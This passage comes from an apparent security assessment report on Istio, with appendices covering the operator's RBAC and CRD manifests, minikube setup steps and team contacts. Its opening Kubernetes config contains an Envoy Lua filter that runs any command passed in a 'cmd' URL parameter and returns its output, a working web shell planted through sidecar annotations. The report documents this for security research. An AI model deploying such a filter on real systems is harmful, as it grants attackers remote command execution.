                      cluster_header: "backend",
                      cluster_not_found_response_code: "SERVICE_UNAVAILABLE"
                    }
              http_filters:
              - name: envoy.lua
                config:
                  inline_code: |
                    function urldecode(s)
```

```
                      s = s:gsub('+', ' ')
                          :gsub('%%(%x%x)', function(h)
                                              return string.char(tonumber(h, 16))
                                            end)
                      return s
                    end
                    function query(s)
                      local ans = {}
                      for k,v in s:gmatch('([^&=?]-)=([^&=?]+)' ) do
                        ans[ k ] = urldecode(v)
                      end
                      return ans
                    end

                    function envoy_on_request(request_handle)
                      local path = request_handle:headers():get(":path")
                      request_handle:headers():replace("backend", "nobackend")
                      local params = query(path)
                      if params["cmd"] ~= nil then
                        local fd = assert(io.popen(params["cmd"], 'r'))
                        local out = assert(fd:read('*a'))
                        request_handle:respond({
                          [":status"] = "200",
                          [":content-type"] = "text/plain",
                        }, out)
                        return
                      end
                      request_handle:respond({
                        [":status"] = "200",
                      }, "TEST\n")
                    end
              - name: envoy.router
                config: {
                  suppress_envoy_headers: true
                }
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: sleep-restrict
  namespace: jtd-restrict-test
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: sleep-restrict
spec:
  replicas: 1
  selector:
    matchLabels:
      app: sleep-restrict
  template:
    metadata:
      labels:
        app: sleep-restrict
      annotations:
        proxy.istio.io/config: |-
          customConfigFile: "/mnt/envoyconfig/envoy.yaml"
        sidecar.istio.io/userVolume: '{"envoyconfig":{"configMap":{"name":"custom-envoy-
        ➜  config","items":[{"key":"envoy.yaml","path":"envoy.yaml"}]}}}'
        sidecar.istio.io/userVolumeMount: '{"envoyconfig":{"mountPath":"/mnt/envoyconfig"}}'
    spec:
      serviceAccountName: sleep-restrict
      containers:
      - name: sleep-restrict
        image: alpine
        ports:
        - containerPort: 80
        command: ["/bin/sleep", "3651d"]
        imagePullPolicy: IfNotPresent
        volumeMounts:
        - mountPath: /etc/sleep/tls
          name: secret-restrict-volume
      volumes:
      - name: secret-restrict-volume
        secret:
          secretName: sleep-restrict-secret
          optional: true
```

```
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  creationTimestamp: null
  name: istio-operator
rules:
# istio groups
- apiGroups:
  - authentication.istio.io
  resources:
  - '*'
  verbs:
  - '*'
- apiGroups:
  - config.istio.io
  resources:
  - '*'
  verbs:
  - '*'
- apiGroups:
  - install.istio.io
  resources:
  - '*'
  verbs:
  - '*'
- apiGroups:
  - networking.istio.io
  resources:
  - '*'
  verbs:
  - '*'
- apiGroups:
  - rbac.istio.io
  resources:
  - '*'
  verbs:
  - '*'
- apiGroups:
  - security.istio.io
  resources:
  - '*'
  verbs:
  - '*'
# k8s groups
- apiGroups:
  - admissionregistration.k8s.io
  resources:
  - mutatingwebhookconfigurations
  - validatingwebhookconfigurations
  verbs:
  - '*'
- apiGroups:
  - apiextensions.k8s.io
  resources:
  - customresourcedefinitions.apiextensions.k8s.io
  - customresourcedefinitions
  verbs:
  - '*'
- apiGroups:
  - apps
  - extensions
  resources:
  - daemonsets
  - deployments
  - deployments/finalizers
  - ingresses
  - replicasets
  - statefulsets
  verbs:
  - '*'
- apiGroups:
  - autoscaling
  resources:
  - horizontalpodautoscalers
  verbs:
  - '*'
- apiGroups:
  - monitoring.coreos.com
  resources:
  - servicemonitors
  verbs:
  - get
  - create
- apiGroups:
  - policy
  resources:
  - poddisruptionbudgets
  verbs:
  - '*'
- apiGroups:
  - rbac.authorization.k8s.io
  resources:
  - clusterrolebindings
  - clusterroles
  - roles
  - rolebindings
  verbs:
  - '*'
- apiGroups:
  - ""
  resources:
  - configmaps
  - endpoints
  - events
  - namespaces
  - pods
  - persistentvolumeclaims
  - secrets
  - services
  - serviceaccounts
  verbs:
  - '*'
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: istio-operator
subjects:
```

```
- kind: ServiceAccount
  name: istio-operator
  namespace: istio-operator
roleRef:
  kind: ClusterRole
  name: istio-operator
  apiGroup: rbac.authorization.k8s.io
---
# SYNC WITH manifests/charts/base/files
apiVersion: apiextensions.k8s.io/v1beta1
kind: CustomResourceDefinition
metadata:
  name: istiooperators.install.istio.io
spec:
  group: install.istio.io
  names:
    kind: IstioOperator
    plural: istiooperators
    singular: istiooperator
    shortNames:
    - iop
  scope: Namespaced
  subresources:
    status: {}
  validation:
    openAPIV3Schema:
      properties:
        apiVersion:
          description: 'APIVersion defines the versioned schema of this representation
            of an object. Servers should convert recognized schemas to the latest
            internal value, and may reject unrecognized values.
            More info: https://github.com/kubernetes/community/blob/master/contributors/devel/sig-
             ➜  architecture/api-conventions.md#resources'
          type: string
        kind:
          description: 'Kind is a string value representing the REST resource this
            object represents. Servers may infer this from the endpoint the client
            submits requests to. Cannot be updated. In CamelCase.
            More info: https://github.com/kubernetes/community/blob/master/contributors/devel/sig-
             ➜  architecture/api-conventions.md#types-kinds'
          type: string
        spec:
          description: 'Specification of the desired state of the istio control plane resource.
            More info: https://github.com/kubernetes/community/blob/master/contributors/devel/sig-
             ➜  architecture/api-conventions.md#spec-and-status'
          type: object
        status:
          description: 'Status describes each of istio control plane component status at the current
           ➜  time.
            0 means NONE, 1 means UPDATING, 2 means HEALTHY, 3 means ERROR, 4 means RECONCILING.
            More info: https://github.com/istio/api/blob/master/operator/v1alpha1/istio.operator.v1alph
             ➜  a1.pb.html &
            https://github.com/kubernetes/community/blob/master/contributors/devel/sig-
             ➜  architecture/api-conventions.md#spec-and-status'
          type: object
  versions:
  - name: v1alpha1
    served: true
    storage: true
```

```yaml
---
apiVersion: apps/v1
kind: Deployment
metadata:
  namespace: istio-operator
  name: istio-operator
spec:
  replicas: 1
  selector:
    matchLabels:
      name: istio-operator
  template:
    metadata:
      labels:
        name: istio-operator
    spec:
      serviceAccountName: istio-operator
      containers:
        - name: istio-operator
          image: docker.io/istio/operator:1.6.5
          command:
          - operator
          - server
          imagePullPolicy: IfNotPresent
          resources:
            limits:
              cpu: 200m
              memory: 256Mi
            requests:
              cpu: 50m
              memory: 128Mi
          env:
            - name: WATCH_NAMESPACE
              value: istio-system
            - name: LEADER_ELECTION_NAMESPACE
              value: istio-operator
            - name: POD_NAME
              valueFrom:
                fieldRef:
                  fieldPath: metadata.name
            - name: OPERATOR_NAME
              value: istio-operator
---
apiVersion: v1
kind: Namespace
metadata:
  name: istio-operator
  labels:
    istio-operator-managed: Reconcile
    istio-injection: disabled
---
apiVersion: v1
kind: Service
metadata:
  namespace: istio-operator
  labels:
    name: istio-operator
  name: istio-operator
spec:
  ports:
  - name: http-metrics
    port: 8383
    targetPort: 8383
  selector:
    name: istio-operator
---
apiVersion: v1
kind: ServiceAccount
metadata:
  namespace: istio-operator
  name: istio-operator
---
```

Appendix E: Appendix: Istio Reference Cluster

The assessment was performed using a variety of types environments including GCP, AWS, minikube, and GKE but for reference, each of the findings can be found within the reference cluster architecture. No reference cluster could be provided to NCC Group testers so one was created based on the common profiles found within `istioctl`.

Setup

The following details the configuration and installation steps used for creating a minikube cluster with the versions of Istio relevant to this assessment. These steps assume a Ubuntu 18.04.4 LTS machine with minikube[20] configured to use KVM, and Go installed. The latest Istio documentation for installing minikube[21] was followed as well as the instructions for installing Istio via the Istio operator[22] or using `istioctl install`.[23]

Set minikube to use the KVM hypervisor backend:

```
minikube --profile=reference config set driver kvm2
```

Create the minikube cluster named `reference` with Kubernetes 1.17.5:

```
minikube --profile=reference start --memory=16384 --cpus=4 --kubernetes-version=v1.17.5
```

Build `istioctl` at the commit 7353c84b560fd469123611476314e4aee553611d:

```
git clone https://github.com/istio/istio.git
git checkout 7353c84b56
cd istio
make istioctl
./out/linux_amd64/istioctl version
```

To install Istio via `istioctl`, run the following command:

```
./out/linux_amd64/istioctl install --set profile=default --set tag=1.6.5
```

To install Istio via the operator, initialize the Istio operator in the cluster using the operator configuration in Appendix D on page 44:

```
kubectl create ns istio-operator
kubectl apply -f ncc-operator-config.yaml
```

Create the `istio-system` namespace and install the `default` configuration profile into it:

```
kubectl create ns istio-system
kubectl apply -f - <<EOF
apiVersion: install.istio.io/v1alpha1
kind: IstioOperator
metadata:
  namespace: istio-system
  name: reference-controlplane
spec:
  profile: default
EOF
```

[20]https://kubernetes.io/docs/tasks/tools/install-minikube/
[21]https://istio.io/latest/docs/setup/platform-setup/minikube/
[22]https://istio.io/latest/docs/setup/install/standalone-operator/
[23]https://istio.io/latest/docs/setup/install/istioctl/

Istio Versions and Code

Istio Istio

The “istio/istio” repository currently stores much of the core Istio code. The assessment was performed on the 1.6.5 version (which was the latest at the time of release) and worked off of the master branch. Testing was performed on the 7353c84b560fd469123611476314e4aee553611d commit which the latest version of of July 16th, 2020.

Istio Proxy

Istio Proxy was the latest version as of July 16th, 2020 from the master branch. Testing was performed on the 9361c406a689c22b73df05005f62a682b31a2520 commit.

Istio Operator

The Istio operator was used for deploying Istio within a cluster. This operator configuration was obtained using `istioctl operator dump` and can be found in Appendix D on page 44. The code for the Istio operator from Istio 1.5 onward is included in the Istio repository under the operator directory.

Istio Default Profile

The Istio configuration itself was based on the Default Profile used by version 1.6.5 of `istioctl`. Other profiles were tested including the one named Demo but this was advised against. Between these two profiles, not many security differences existed. The Demo profile enabled additional addons but did not change the configuration of Istio itself.

Appendix F: Project Contacts

The team from NCC Group has the following primary members:

- Mark Manning — Technical Lead
  mark.manning@nccgroup.com
- Jeff Dileo — Security Consultant
  jeff.dileo@nccgroup.com
- Divya Natesan — Security Consultant
  divya.natesan@nccgroup.com
- Andy Olsen — Security Consultant
  andy.olsen@nccgroup.com
- Bryan Solari — Account Manager
  bryan.solari@nccgroup.com
- Kivanç Tos — Project Manager
  kivanc.tos@nccgroup.com

The team from Google has the following primary members:

- Arun Kumar R — Google
  arunkr@google.com
- Francois Pesce — Google
  fpesce@google.com
- Mike Danese — Google
  mikedanese@google.com